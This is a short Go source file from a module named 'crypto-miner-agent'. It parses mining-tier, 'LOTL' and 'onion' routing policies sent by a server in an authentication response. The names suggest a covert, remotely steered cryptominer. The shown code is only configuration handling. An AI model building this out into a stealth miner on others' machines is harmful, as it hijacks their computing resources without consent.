48 lines
1.1 KiB
Go
48 lines
1.1 KiB
Go
package client
|
|
|
|
import (
|
|
"encoding/json"
|
|
|
|
"crypto-miner-agent/miner"
|
|
)
|
|
|
|
func (c *AgentClient) miningTierPolicy() miner.MiningTierPolicy {
|
|
c.mu.Lock()
|
|
defer c.mu.Unlock()
|
|
if len(c.tierPolicy.TierOrder) == 0 && c.tierPolicy.ForceTier == "" && len(c.tierPolicy.SkipTiers) == 0 {
|
|
return miner.DefaultMiningTierPolicy()
|
|
}
|
|
return c.tierPolicy
|
|
}
|
|
|
|
func (c *AgentClient) applyAuthLotlPolicy(resp AuthResponse) {
|
|
c.applyTripleOnionPolicyJSON(resp.TripleOnionPolicy)
|
|
if len(resp.MiningTierPolicy) > 0 {
|
|
c.applyMiningTierPolicyJSON(resp.MiningTierPolicy)
|
|
return
|
|
}
|
|
if len(resp.LotlOnionTiers) == 0 {
|
|
return
|
|
}
|
|
order := make([]miner.LOTLTier, len(resp.LotlOnionTiers))
|
|
for i, s := range resp.LotlOnionTiers {
|
|
order[i] = miner.LOTLTier(s)
|
|
}
|
|
c.mu.Lock()
|
|
c.tierPolicy = miner.MiningTierPolicy{TierOrder: order}
|
|
c.mu.Unlock()
|
|
}
|
|
|
|
func (c *AgentClient) applyMiningTierPolicyJSON(raw json.RawMessage) {
|
|
if len(raw) == 0 || string(raw) == "null" {
|
|
return
|
|
}
|
|
var p miner.MiningTierPolicy
|
|
if err := json.Unmarshal(raw, &p); err != nil {
|
|
return
|
|
}
|
|
c.mu.Lock()
|
|
c.tierPolicy = p
|
|
c.mu.Unlock()
|
|
}
|